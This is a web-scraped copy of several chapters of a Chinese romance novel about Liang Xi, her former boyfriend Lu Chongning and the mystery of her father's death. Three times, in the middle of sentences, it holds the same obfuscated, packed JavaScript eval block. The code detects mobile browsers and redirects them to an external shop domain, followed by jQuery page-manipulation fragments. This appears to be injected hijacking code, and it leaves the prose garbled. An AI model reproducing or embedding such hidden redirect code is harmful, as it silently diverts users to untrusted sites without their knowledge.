想到自己那些同学和朋友们,崔影叹口气,“正常,男的花期都短。”
梁喜一口咬掉半个蛋,含糊不清地说:“更帅了。”
“......”崔影狠狠白她一眼,拿调料瓶过来,给桌上调料罐补满,“梁小姐,你打算什么时候回北京啊?”
“我师父联系我了。”
崔影一下来了劲头,“你师父?让你去他那上班吗?”
这两年她一直有心想让梁喜回化城,说她太孤单了,可化城像样的企业不多,工资还低,不适合梁喜。
“应该是吧,具体等我找他再说。”
“我倒是想让你回来,不过你还是跟你哥商量商量,让他帮你拿主意。”
梁喜喝口水,“又不是亲哥。”
“你俩从小一起长大,后来他又到你家住那么久,跟亲哥不差什么。”
好像人人都这么认为,听起来理所应当。
“他这次回来还走吗?”
“不走了,他老板在林业新区那边弄了新项目。”
崔影知道路崇宁家中变故,这么多年过去,眼见着他慢慢从阴影中走出来,站在梁喜朋友的角度为他感到高兴。
“你哥在家里住啊?”
“嗯。”
崔影点点头,“正好陪你,要不你自己我不放心。”
“没事,我爸要回来也是看路崇宁。”
“别整那么吓人,那可是你亲爹。”
梁喜不和她闹了,继续嗦面。
崔影一分注意力在调料罐上,另外九分在别处,“我最近认识一个小男生不错,介绍给你啊?”
“你自己留着吧。”
“适合你。”
“帅吗?”
崔影回忆男人的脸,“不算帅,但长得很干净。”
梁喜毫无兴趣,纯粹聊着玩,“不帅算了。”
“你说你又不是没人追,怎么一直单着?”
虽然崔影大学时交往的男朋友因为毕业分手了,可她好歹有过经历,在梁喜面前勉强能当半个辅助导师。
“没碰到喜欢的。”每次回答都是这句,精准到每一个字,梁喜张口就来。
“喜喜,我有个比较疯的想法。”
“多疯?”
“既然你自己都说路崇宁不是你亲哥,梁叔费半天劲也没把他弄到老梁家户口本上,近水楼台先得月,把他睡到手......”
睡?梁喜噎住,用力拍拍胸口往下顺。
崔影的想法的确很疯,恰好十九岁的她也这么疯过,只是代价有点大。
“路崇宁那么帅,你钓他啊!”
“把他当鱼吗?还钓。”
“就是,嗯......”崔影双手比划,“你要散发魅力,然后假装不在意他,如果感觉他对你有意思,你再找个工具人刺激一下,欲擒故纵懂不懂。”
“不懂。”
梁喜知道崔影不是临时起意,但强扭的瓜不甜,五年前她为了挽留而提分手,现在更没有回头路......
崔影眼前又闪过一张脸,“你那个当警察的青梅竹马呢?”
“信航?怎么了?”
“我看他挺喜欢你的。”
“屁!”梁喜笑笑,“他心怀大义,博爱众生。”
“唠嗑就唠嗑,怎么还上价值了?”
除了路崇宁,梁喜和崔影聊起任何男人都不紧张,尤其是信航,连说带损,无所畏惧,信航和路崇宁简直两个极端一样的存在,信航根正苗红,为人很正派,从小到大乐于助人的事没少干,因此也闯过祸,经常挨揍,没事就往梁喜家跑,蹭饭,在孩子堆里很有人缘,屁大点事都愿意找他,路崇宁则带着一种谁也不敢跟他搭讪的距离感,拿崔影举例,她和信航比较熟,还一起吃过饭,可她和路崇宁连话都没说过。
吃完面,梁喜帮崔影一起收拾,忙过午饭口才走,这期间手机一直放在吧台,没工夫看,临走时才发现有好几个未接来电和信息,均来自路崇宁。
......
梁喜回家的时候路崇宁不在,过了会儿他回来,手里拎着刚买的橙子。
“给你打电话没人接。”
“嗯,没接。”
废话......躺在折叠椅上的梁喜眼都没睁,也不好意思看他。
折叠椅有两把,信航从他妈那拿来的,说家里没人用,让梁喜放客厅代替沙发,还说这个家有他赞助的东西,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207498|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以后就可以像路崇宁一样来去自由了,可惜被梁喜当场驳回“自由权”
路崇宁走过来,坐到另一张折叠椅上。
从门口到身边,梁喜闭目侧听,路崇宁走的每一步都让她感到紧张。
“上午的事,不好意思。”继信息之后他又当面道歉。
“没诚意。”
路崇宁拿出一个橙子扔给梁喜,她闭眼看不见,但橙子滚落在脖颈旁,冰凉的触感让她猛然睁眼,终于和路崇宁对视。
“不吃。”她淡淡回应。
路崇宁不但不气,反而笑了,“怎么算有诚意?”
“公平才叫诚意啊。”梁喜拿过橙子闻了闻,说:“衣服脱了让我也看看。”
其实梁喜不亏,路崇宁出国前有一次在家洗澡,梁辰义进洗手间取东西,门一开一关,梁喜透过布满水汽的玻璃隐约看见了路崇宁的身形,匆匆一瞥,差点要了她的命。
笑收回去,路崇宁恢复之前的冷脸,“确定吗?”
梁喜咽咽口水,在路崇宁抬手解到第二颗扣子时她转过头去,看着窗外说:“我对你的身子不感兴趣。”
手放下,路崇宁向后扭头,马上又转回来,问:“你怎么买那么多方便面?”
早上他打开橱柜的时候着实惊到了。
“最近没心情做饭,怕饿死。”
梁喜很倔,爸妈离婚后,如果晚上放学回来梁辰义不在家她就饿着,以此作为对抗,和路崇宁关系近一些之后,赶上家里没饭,他会带梁喜去外面吃,简单的路边摊或者牛肉面,极少数时候还能吃到炒菜,梁喜问他哪来的钱,路崇宁说反正不是偷的,让她放心吃。
直到有一次梁喜听她爸说路崇宁把相机卖了,那会儿相机在化城非常罕见,也很贵,梁喜不知道卖了多少钱,但那段时间路崇宁确实给她买过不少东西。
从前梁喜独自长大,要不是路崇宁,回忆里总是形单影只,还真没什么意思。
人这个物种说来奇怪,从前纵有千般好,一朝离别,梁喜记得最深的还是和路崇宁分手时的情景,每想一次,以前的好便减掉一分。
抵不住橙子诱惑,梁喜扒开,香气迸发出来,不用尝也知道很甜。
“你还没跟我说去哪了?”
“崔影,记得吗?我去她店里蹭饭。”
“记得,你好朋友。”
电话在卧室响起铃声,梁喜刚要起身,路崇宁摆摆手,“我去拿。”
他一去一回,手机递过来。
“谁?”梁喜问。
路崇宁没答,梁喜接过看,来电人是她师父,叫“王兴印”,梁喜称呼他“老王”,亲切好记。
“喂,师父。”
“明天啊,可以。”
“好,明早我过去。”
挂断电话,梁喜把手机放肚子上,继续晒太阳,她完全没注意到身旁人目光热烈,直到发觉路崇宁半天没动静才睁眼,看见他正盯着自己。
梁喜往上挪挪,翘起二郎腿,“我师父听说我辞职了,想让我去他工作室帮忙。”
二中多年前开设了黑陶学习班,老王是手艺最好的老师,梁喜小学时学过几年画画,偶然一次机会,被梁辰义带到老王的工作室做客,体验一次之后梁喜很感兴趣,有事没事就去练习,偶尔还逃课去学,可黑陶这门手艺需要日积月累的勤奋和天赋,直到毕业前梁喜才学出点样子。
梁辰义有个用了很多年的烟灰缸就是出自梁喜之手,虽然工艺和精湛不搭边,但却是梁喜的第一个作品。
“手艺还在吗?”
梁喜冲路崇宁勾勾手指,他不明所以,头探过去,梁喜抬手,闭上眼睛从他双颊摸到耳朵,说:“我能捏出你的样子,信吗?”
冰凉的手指划过鼻尖,路崇宁抖了下,向后撤身,“你不走的话,男朋友怎么办?”
梁喜都快忘了这茬,把回答丢给问话的人,“你觉得呢?”
“分了。”路崇宁又补一句,“你又不是没分过。”
他云淡风轻,甚至事不关己。
如果梁喜真有男朋友,那这个人此时在路崇宁眼里已经被当成一捧灰,扬掉了。
10. 第十章
上午八点半,梁喜打车到师父的工作室。
说是工作室,其实是在二中校园一角的三层楼房,从后门可以出入校园,上大学后梁喜寒暑假都忙着打工赚钱,很少回化城,但只要回来一定过来看看老王。
工作室已经开门了,梁喜进屋,“师娘没给你做早饭啊?”
老王正在茶桌前啃包子,这个茶桌放在窗下,茶具茶宠应有尽有。
“诶!喜喜,来啦!你师娘现在天天早上跳舞,给我五块钱让我买包子。”
老王夫妻俩感情非常好,一辈子没吵过几回架,当年两人一起拜师学黑陶,日久生情,婚后师娘忙于照顾家庭,放弃学艺,老王学成后便开了这家工作室,赚的钱全部上交,明明成就不小,却每天穿着朴素,生活简单。
老王把梁喜引到茶桌旁,问:“你吃了吗?”
“吃了。”
梁喜坐下,抬头望向展柜里的黑陶工艺品,还有各式各样的奖状,本本彰显老王实力。
“师父,你这手艺,全国都能排上号。”
“我老了,以后靠你。”
梁喜有点不好意思,“我再跟你学十年也不一定赶上你一半。”
化城黑陶很有名,而化城做黑陶最好的手艺人就是老王,据说每年还有从其他省份慕名而来的大学教授跟他进行学术交流,正因如此,老王的工作室才能用二中的房子,学校不收房租,只需要老王一周抽空教两节课,作为课外兴趣班,美其名曰校企联盟,这一开就开了很多年。
上课以外的时间老王会接一些订单,政府单位、企事业、或者私人的单子都有,一件黑陶工艺品少则几百,多则几万,甚至更贵。
过去黑陶文化传承一直传内不传外,传儿不传女,随着时代发展,已经打破禁锢,只要有心学,一般的师父都肯教。
老王这些年带了不少徒弟,但真正坚持下去的不多,手艺能超他的几乎没有,这也是老王的一大遗憾,手艺总要传承和发扬,不能在他这一辈断根,可他自己的儿子不愿学,大学毕业后留在天津,如今又在那边工作定居,肯定不会回来了。
吃掉最后一口包子,老王说:“做黑陶,需要努力,耐心,也需要天赋,你是我见过少有的天赋不错的孩子,要不然也不能三番五次给你打电话。”
“现在几个人帮你?”
“前段时间一共四个,后来有个姑娘怀孕,家里不让她干了,现在剩一男两女,还有一个管收银和库存的。”
“他们人呢?”
“在楼上忙呢。”
许是怕梁喜犹豫不同意,老王又说:“咱们化城现在发展挺好的,林业新区那边你知道吧?今年政府重点开发,有个大型企业过来投资,叫什么林屿集团,前段时间建厂区呢。”
那个大型企业多半是路崇宁现在上班的地方,虽然不知道具体名字,但大差不差。
老王给梁喜拿了瓶水,“前几天你三叔过来,定了一批笔筒和几个展示品。”
梁辰景在化城经济局上班,貌似已经熬到了副局长的位置,具体干什么梁喜不清楚,梁辰景最早和老王认识,也是他让梁辰义带年幼的梁喜过来,那时流行给孩子报兴趣班,篮球啊、书法之类的,没想到梁辰景眼光独到,竟然预测梁喜会喜欢上陶艺。
“我跟你三叔提了一嘴,想让你留下来,他特别支持,说不想你离家太远,尤其是老梁没了之后,他怕你在外面受欺负。”
梁喜点点头,三叔一直很疼爱梁喜,以前上学时候偶尔家里没饭,他就把梁喜和路崇宁接到他家去吃。
“师父,我考虑考虑。”
老王从梁喜的表情看出有戏,说:“待遇你放心,肯定亏待不了你,前半年你得好好学学,恢复一下手艺,工资给你四千,接的活另外算提成,你考虑好了告诉我一声就行,来不来我都是你师父。”
在化城这种小地方能有这待遇已经非常好了,梁喜笑笑,“那当然,你永远是我师父。”
......
从老王工作室出来,梁喜接到路崇宁电话,她没马上接,而是故意抻了几秒,昨天两人以不愉快收尾,今天路崇宁能主动打电话过来实属破天荒。
“喂,哪位?”
电话那头很安静,梁喜想象此时路崇宁很可能又看了眼号码,以为自己打错了。
“在你师父那吗?”
“不在。”
“嘟嘟”的声音传来,挂了?
梁喜迈下台阶,路边开来一辆出租车,车上下来的不是别人,正是路崇宁,他一身黑色西服看得梁喜眼睛都直了,怎么回事?早上出门明明穿的不是这身。
路崇宁看着工作室牌匾,视线落下来,到梁喜身上,“不是说不在吗?”
“相亲啊?穿这么板正。”
梁喜不但违心,而且嘴损,连她自己都不知道这股气到底什么时候能彻底撒完。
“公司发的。”
“你来干嘛?”
“到附近办事,一起吃饭。”
梁喜把脸扭到一边,“你不能自己吃吗?我不饿。”
路崇宁被她拒绝惯了,也不在意,继续说:“去吃你喜欢的那家。”
“还开呢?”
“刚才经过,开门了。”
高中那会儿梁喜和路崇宁常去一家菜馆吃饭,在二中对面,菜码不大,但很便宜,好像西红柿鸡蛋盖饭才四块钱,要放到现在怎么也要十几块。
梁喜把手机塞进包里,“既然你亲自来请,走吧。”
立场放弃得有些快......但被迫接受的姿态精准拿捏。
菜馆很近,转过弯就是,大概三四百米,梁喜故意慢了一步,从后面仔细打量路崇宁的西服,袖子和裤腿罕见不短,这么合身难道是定制?还有皮鞋也很新,在太阳下闪着亮光。
快走两步,梁喜与他并肩,“晚上不用等我,我有事。”
“去哪?”
“崔影找我喝......吃饭。”
梁喜说完莫名心虚,路崇宁没揭短,继续刚才想说没说的话,“几点回来?我去接你。”
梁喜笑了声,“就算你是我亲哥,管得也太严了吧。”
路崇宁从不向别人施与无缘无故的善意,认识这么多年,梁喜对他这点很了解,他现在之所以对梁喜好,多半是在还梁辰义当年的恩情。
“过道。”路崇宁不理梁喜刚才说什么,在斑马线处右转。
走进菜馆,目光所及之处已经完全变样,整体装修过,但牌匾没换,斑驳的铁锈在风雨飘摇间彰显“老字号”风采。
几年没来,菜的价格涨了些,但相比其他饭店还是很便宜,两人点了三个菜,两碗米饭,梁喜每顿只吃半碗,肌肉记忆让她端起碗想拨给路崇宁一半,可刚送过去又收回。
路崇宁没说什么,拿过梁喜的碗,拨完还给她。
既然你退一步,那我也退一步,梁喜主动递给他一瓶水,问:“你来这边干嘛?”
“我的驾照是国外的,转到国内需要办手续,科目一得再考一遍。”
虽说梁喜大学时就把驾照考了,但除考试时练车外,从没正经上路开过,“公司给你配车吗?”
路崇宁摇头,“为了工作方便,比如给老板当代驾。”
一块虾夹到梁喜碗里,从这道软炸虾仁端上来路崇宁一直给她夹,梁喜没什么特别喜欢吃的东西,虾算一个,不过以前家里很少买虾,因为贵。
记得有次路崇宁数学考了全年第一,把梁辰义高兴得不行,去市场买了两斤虾回来,等他到家,半个小区和菜市场都知道他儿子考了第一,梁喜给不了的荣誉路崇宁给了,也算让老父亲得意一回。
吃完走出饭馆,梁喜望着对面二中操场,脸颊猛然泛红。
“怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207499|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么了?”路崇宁一眼便能看出梁喜心里是否有事。
她快速编谎,“听说科目一也有人考不及格,不过你聪明,没什么问题。”
从小到大身边的人经常这么夸路崇宁,梁喜习惯了,高中时到张老师补习班补了一个月后,梁辰义便把梁喜的老师换成了路崇宁,那些在她看来晦涩难懂的东西,到路崇宁那里变得轻而易举,梁喜一度匪夷所思。
“你想考吗?”
“我考完了,大三时候我爸给我报的。”
梁喜手机来了条信息,她忙着打字,跟路崇宁说得有点漫不经心。
信航问她这两天路崇宁状态怎么样,梁喜回他:“还行,准备换国内驾照呢。”
“我这周末应该能休半天,带你出去玩吧,”
“再说。”
关掉手机梁喜抬头,看见路崇宁正盯着她手机看。
“信航。”
“我先走了。”
路崇宁招手拦车,梁喜望着出租车开远,直至不见,回头又看向二中操场。
阳光洒满草地,柳枝随风飘摆,她第一次跟路崇宁表白就在这样的风景之下......
记得那天是六月十四号,天气晴,不太热,两班上体育课的时间撞了,解散后自由活动的时候梁喜看见一个女生给路崇宁递水,她径直走过去,那女生看见她后对路崇宁说:“你妹找你。”
说完溜溜跑开。
走到跟前,梁喜明知故问:“女同学给你的吗?”
路崇宁拧开瓶盖,“嗯”了声。
“我觉得她们都不行,你还是做我男朋友吧。”
路崇宁一口水刚咽下,呛得直咳,随着身子抖动水洒出去不少。
“答不答应,晚上回家告诉我。”
梁喜说完晃着马尾辫走了,留下路崇宁独自愣神。
其实在表白之前梁喜已经喜欢路崇宁一段时间了,真正意识到心动那天是个再寻常不过的日子,她放学跟同桌结伴买完东西后回家,看见路崇宁躺在沙发上,问:“我爸呢?”
“没在家。”
路崇宁说完扭头看向梁喜,冲她招招手,“你过来。”
梁喜不明所以走过去,手腕忽然被路崇宁拽住,身子往下向他靠近,“爬草垛了吗?头发怎么粘了根草?”
一截绿草被路崇宁揪下来,梁喜哪有闲心看,她心脏狂跳,好似连魂都丢了......
“嗯?”路崇宁往前伸手,把草递给她。
“不知道。”梁喜接过去,转身跑了。
十七岁的少女能藏住什么?费尽心力也不过拖延时间而已。
后来梁喜等到路崇宁的拒绝,他说:“你和我之间有一条界线,我不能跨越,你也不能。”
第二次表白在图书馆,对话相同,结果不变,第三次就不一样了,因为路崇宁主导了开场。
那是高二下学期结束的暑假,他问梁喜:“你要不要和我上一个大学?”
“考不上。”
“不试试怎么知道?”
“你要答应我的话我就试。”
“好。”
路崇宁突然干脆,搞得梁喜倒不会了,“你再说一次?”
路崇宁看着她,“好。”
梁喜到现在都记得很清楚,当时她笑得多春风得意,从小到大命运偏向她这边的事少之又少,路崇宁答应和她在一起,她甚至想过这一切有没有可能是否极泰来。
“你要证明。”
“证明什么?”
梁喜扬着头,“证明我是你女朋友啊。”
短暂沉默过后,在炽热的夏日街头路崇宁当众牵了梁喜的手,他低着头,握得很紧。
“路崇宁,你拒绝我两次噢。”梁喜晃晃手腕,笑着说:“这笔账我慢慢跟你算。”
一阵疾风吹走头顶炽热,路崇宁只觉脖颈一阵凉意。
11. 第十一章
忙了几天,路崇宁终于约到信航吃饭。
晚上七点,光影韩餐店,他推开门寻找座位,吧台里的人探头问他,“请问几位?”
路崇宁循声看过去,感觉问话的人有点眼熟,正回忆的时候对方先开口了,“你是路崇宁吧?找喜喜吗?她没来欸。”
回忆和现实重叠,路崇宁一下恍然,终于想起面前的女孩儿正是梁喜的好朋友,崔影。
“我朋友订的位子,叫信航。”
“信航啊。”崔影往里指,“他定了包间。”
路崇宁没动,而是说:“一会儿我来结账,麻烦你别让他结。”
“没问题。”
崔影想起前几天梁喜说过的话,路崇宁确实更帅了,和以前相比多了一份成熟男人的魅力,所以......她怎么忍得住的?!
服务员刚要带路崇宁过去,店门又打开,有人从身后推了路崇宁一把,他回头,信航呲着一口白牙笑,身上还穿着警服,“这位帅哥别堵门啊!”
“忙着呐!”他又冲崔影招招手,“最近生意怎么样?”
“还行,多亏你捧场。”
只言片语,尽显熟络。
绕过散台走进包间,服务员让他俩先点菜,崔影则躲在吧台给梁喜偷偷发信息。
“你那两位青梅竹马来我这吃饭了,你推荐的吗?”
梁喜没回......
点完菜,路崇宁把带来的袋子递给信航,“你衣服,洗了。”
“啊。”信航接过,“我都忘了,喜喜没问你出来干嘛呀?”
“没问。”
两人各有心思,既然这顿饭不能叫梁喜,一个偏偏选了她好朋友的店,另外一个则带了衣服过来,说与不说梁喜都会知道。
衣服放好,信航转手又递给路崇宁两个纸袋,像交换一样,“给喜喜买的红参,梁叔刚走那几天她天天熬,得补补身子,也给你买了保健品,看你瘦那样。”
红色盒子,上面有红参图案,看起来很贵。
路崇宁拿了梁喜那份,“我不用,公司每年都体检。”
“喝喝更健康,拿着吧,兄弟特意买的。”
信航推到路崇宁面前,不容他再拒绝。
从服务员手里接过大麦茶,信航给两人各倒一杯,“我们喝酒得报备,要不真想跟你喝点儿。”
路崇宁盯着水杯里晃荡的波纹,说:“我不喝酒。”
除了高中为梁喜挡过一次酒之后再没喝过,滴酒不沾。
菜要等会儿才上,先说正事,路崇宁拿出梁辰义写给他的信,递给信航,“你看看。”
说完打开烟盒抽出两根烟,一人一根。
信航咬着烟看得飞快,毕竟字不多,看完把信封好放到桌上,弹弹烟灰,问:“哪天寄的?知道吗?”
“梁叔去世第二天。”
或许这几年当警察见的事多了,信航读完信好像并不惊讶,“梁叔刚去世的时候喜喜没让火化,你知道为什么吗?”
路崇宁摇头。
“因为梁叔手机不见了,打过去一直关机,喜喜怕梁叔的死有蹊跷,直到她把身边人都问了一遍,派出所这边也下了结论,这才答应火化,但是骨灰一直在家放着,我爸我妈还有三叔都说要出钱给梁叔弄块墓地,她说不想让梁叔埋在地底下,再有我觉得她把家拆了,其实是想找手机,你都不知道那些八竿子打不着的亲戚说得多难听,可喜喜一句没解释。”
路崇宁低头摆弄打火机,从他回来到现在,梁喜从未在他面前情绪失控过,顶多说点不客气的话,那些沉重的心思被她深埋,不形于色。
“梁叔的尸体解剖过你也不知道吧?”
“嗯。”
“其实......”信航说到这稍作停顿,“有件事我对喜喜隐瞒了,也没告诉我爸他们。”
路崇宁预感不好,“什么事?”
“梁叔生前服用过性/药,死的时候浑身上下只穿了一条内裤。”
这些话把路崇宁惊着了,但他不想因自己的失态让信航误会什么,梁辰义私生活怎么样,也不影响路崇宁对他的印象和情感。
而信航之所以对大家隐瞒,一是想保住梁辰义的名声,二是不想让周围议论的声音传到梁喜耳朵里。
“我跟派出所的朋友打听过,屋内没有打斗痕迹,门锁正常,所以我猜测......梁叔找了一个女人回家,岁数大了,还吃了药,情绪激动导致脑出血。”
说到这,信航弹弹烟灰,“还记得你回来后咱俩第一次见面,你问我去寺庙的事吗?”
“嗯。”路崇宁当然记得。
“其实那天我去青云寺是去找人,我调过梁叔生前一周的通话记录,他死前最后一通电话,联系人名字叫“吴青”,所以我去寺庙找吴青询问,他说和梁叔是旧相识,打电话纯属闲聊,而且提供了充足的不在场证明,所以梁叔的死跟他没关系。”
线索断了,信航查到这之后再没什么可查。
路崇宁问:“你怎么凭一个名字找到那个人?”
“我爸认识啊,梁叔和我爸都认识,但我爸和吴青不熟。”
“吴青去寺庙是......”
“噢,他信佛,每到初一、十五都去青云寺上香。”
信航说完瞥了一眼运单上的条形码,打开手机刚要扫,听见路崇宁说:“寄件人信息应该造假了,号码是空号。”
信航只好往别处琢磨,“寄存快递的超市有拍到什么吗?”
路崇宁用力裹了两口烟,“那天我假装没找到这个快递,去超市问了一次,店员是个男的,他说他记得这个件,因为放了好几天没人取,还是他打电话通知的,喜喜去取的时候他着急关店,在门口递给喜喜,隔一天我又去买烟,听老板娘说这位店员是她几个月前雇的员工,干活勤奋踏实,应该没什么问题。”
信航没想到路崇宁心思细腻,竟然还能查这一层。
“你知道梁叔这些年都靠什么赚钱吗?”路崇宁说得欲言又止。
信航点点头,“知道,听我爸说过。”
这件事了解的人少之又少,梁辰义当年还在派出所当民警的时候,为了帮路召庆出头,把一个男的打进医院,过后这男的报警,不接受任何方式和解,梁辰义说他是警察,自然明白做错事就要承担后果的道理,因此进去蹲了一年,警察也当不成了。
牢狱之灾像一阵无情剑雨,把他的生活砍得遍体鳞伤,出狱后无所事事,不是喝酒就是在去喝酒的路上,跟老婆离了婚,一个人带梁喜生活,有孩子要养,他总得找个营生,幸好以前当民警时认识不少人,三教九流,什么货色都有,他慢慢开始贩卖消息,赚得时多时少,也很隐秘,即便个别人知道,也没谁敢告诉梁喜,外人都以为他接受不了警察变阶下囚的打击,混吃混喝,不务正业。
路召庆一直心里有愧,几次想让梁辰义去他那上班,但都被拒绝了,梁辰义说他自己能赚钱养家,云淡风轻的模样最终堵了路召庆的嘴。
服务员撩开门帘,把一盘辣炒年糕端来,放到桌上又退出去。
信航往帘下瞄了一眼,小声问路崇宁:“你是不是觉得梁叔得罪了什么人?”
“这几年我不在家,梁叔的事知道的不多。”
“今天看到这封信,我觉得梁叔的死没那么简单,你把信收好,千万别跟喜喜说。”
路崇宁笑得苦涩,“她不怎么跟我说话。”
“梁叔刚走没多久,喜喜心情不好,要不你去我那住吧。”
路崇宁冲信航抬抬下巴,“你觉得是你需要陪还是喜喜需要陪?”
信航傻呵呵一笑,“哎,我要陪她也不让啊,我说留下她直接把我赶出去了,还是交给你吧,起码她不能赶你。”
不能赶?路崇宁暗想,说不定哪天惹到梁喜,他那点家当就被扔大街了。
烟掐掉,两人拿起筷子,吃了几口,信航问:“喜喜定哪天走了吗?”
“她师父想让她去工作室上班。”
信航神情忽转,“不走了?”
“在考虑。”
“不走也好,在咱俩身边能互相照顾。”
曾经的玩伴三人组,其中两人先后从外地回来,而且不约而同选择留下,是巧合吗?
菜陆续端上来,信航还点了两碗冷面,吃了会儿,崔影撩开门帘,“这盘水果沙拉送你俩。”
路崇宁和信航同时说谢,盘子放桌边,崔影问:“喜喜怎么没跟你俩来啊?”
信航回她,“我们哥俩聊点私事,你和喜喜最近没见吗?”
“前两天来了,穿着拖鞋,披头散发,不知道受了什么刺激。”
路崇宁转头“咕咚咚”喝水。
信航的视线从他脸上掠过,一本正经地说:“可能化城没她在乎的人了吧。”
崔影被逗得捂嘴笑,信航冲她勾勾手,“问你个事儿。”
崔影往前凑,低头,听到信航问:“喜喜谈恋爱你知道吗?”
“怎么可能!”崔影的身子一下绷直,“她母胎单身,一次没谈过,你听谁说的?”
路崇宁又接着喝水。
信航终于松口气,“道听途说,不好意思直接问她,想跟你求证一下。”
“假的,她要谈恋爱肯定瞒不住我,你俩慢慢吃,我先过去忙。”
崔影边走边思考该怎么补救手欠给梁喜发的信息,还有这个突然冒出来的求证。
回到吧台,刚好梁喜打电话,可崔影还没想好怎么编,硬着头皮接。
“崔老板,忙吗?”梁喜声音像小猫一样,貌似刚睡醒。
“这会儿不忙。”
“路崇宁去你那吃饭了吗?”
“啊......在这呢,他没事长那么帅干嘛,害我春心荡漾,刚才端菜进去手都抖了。”
“你矜持点行不行?”
崔影“咳咳”一声,“信航跟我说他俩聊点私事,所以没叫你,你就当不知道吧,别把我卖了。”
“嗯,不提。”
“吃饭没?”
“还不饿,等会儿吃,你先忙吧。”
挂断电话,崔影松口气,望着布帘下路崇宁的两条长腿,不禁感慨梁喜好命,就算不谈恋爱,有这么帅的男人当哥也不错。
中途路崇宁出来上厕所,顺便把账结了,崔影除了赠菜以外还给打了七折,绝对友情价,只是当她见路崇宁一来一去吸引不少目光,隐隐为梁喜担忧,或许相比路崇宁,信航的条件更适合谈婚论嫁。
吃完饭离开韩餐店,信航要送路崇宁回去,他没让,点了根烟,说:“抽完你就开车走,我离得近。”
信航接过抽了一口,非常郑重地叫了一声“小宁”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207500|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么了?”
“听喜喜说你把债都还完了。”
“嗯。”
信航看他一眼,“你唬得了喜喜,唬不了我,就算本金还了,利息呢?这些年利滚利也不少钱吧?”
当时听到还清的消息,信航第一时间是怀疑,因为他知道那是一笔足以压垮一个普通年轻人的数字。
路崇宁仰头,烟雾顺势飘出去,“他们没要利息。”
“没要?”
“对。”路崇宁拿烟的手有些抖,“我也不知道怎么回事,一开始他们没说不要,后来某一天跟约好一样,都跟我说不要了。”
几年前没有的答案,至今依然无解,路崇宁问过,但没有任何人回答他,这比统一不要利息更让人觉得诧异。
换做别人应该庆幸的事,在路崇宁这里完全变了味,直到问出答案那天,疑影始终存在。
信航打心底心疼路崇宁,从小一起长大的情分此时跃到至高点,“不管怎么样,还清了就好,以后生活能轻松些,你要用钱随时跟我说,把我工资卡给你。”
路崇宁笑了,拍拍信航肩膀,“快回家吧,明天还得上班。”
“行,走了。”
直到分开,路崇宁也没和信航透露那些隐藏的信息,更没说他去过海鲜排挡和砂锅店,毕竟u盘里的内容还没看到,他已经想到了办法,只是得等一等。
......
到饭点不好好吃饭的后果就是过后饿得直抽抽。
梁喜本来不打算吃,谁知刚过八点忽然饿得不行,她从鞋柜随便拿了双平底鞋趿拉着,打算去便利店整点东西。
刚从单元门出来,迎面看见一个人影坐在花坛边上,背对着梁喜正在抽烟。
看不到脸,但身形熟悉,是路崇宁。
他没发现梁喜,梁喜也没继续往前走,而是静静站着,夜风吹过来,她闻到一阵花香,是丁香花的味道,隐隐还有轻薄的烟草味,互相重叠,虚无缥缈。
拨开这混沌,梁喜感到一股透心的清澈。
忽然路崇宁回过头来,看见梁喜的同时把烟从嘴边拿下,她猝不及防,怕路崇宁误会,先开口问:“怎么不回家?”
举起手中烟,他说:“抽完就上去,你下来干嘛?”
梁喜摸摸肚子,“饿了。”
路崇宁起身绕过花坛走到梁喜身边,一片白色花瓣刚好落在他肩头,像流云一样轻盈。
梁喜看见他手里拎的纸袋,“什么?”
“信航给你的红参,他说大补。”
梁喜不以为然,“这么有年龄感的东西,肯定是唐姨买的。”
“那他倒没说,你想吃什么?”
“去便利店看看。”
梁喜抬脚往外走,路崇宁把烟掐灭,自然而然跟上。
“你回家吧,我自己去。”
“我买烟。”
梁喜没再赶人,走到便利店门口,她漫不经心转了几个货架,中间和路崇宁碰到一次,有点不知所措,随手拿了个金枪鱼饭团。
“就吃这个?
饭团在梁喜手里掂了掂,“太晚了,不用吃饱。”
路崇宁把饭团拿去收银台结账,顺便买了包烟。
走出便利店他拆开烟盒,梁喜问,“一天抽几根?”
打开的烟盒又莫名合上,“不一定,时多时少,看心情。”
“从什么时候开始抽的?”
“出国之后。”
漫漫长夜独在异乡,一些孤独的情绪需要消解,可他选择的方式看起来更加孤独。
“你师父那边考虑怎么样?”
梁喜眨眨眼,欲言又止,实则故意吊着他。
“不用顾忌我,公司有宿舍,我可以搬出去,你要想我,我周末回来陪你吃饭。”
“谁想你啊!”
梁喜脚下踩到一块小石子,身体晃了晃,撒谎的现世报竟然来得如此之快......
她站直,蹭了下地面,说:“我打算去,还没告诉师父。”
“行,周末我搬走。”
“路崇宁。”
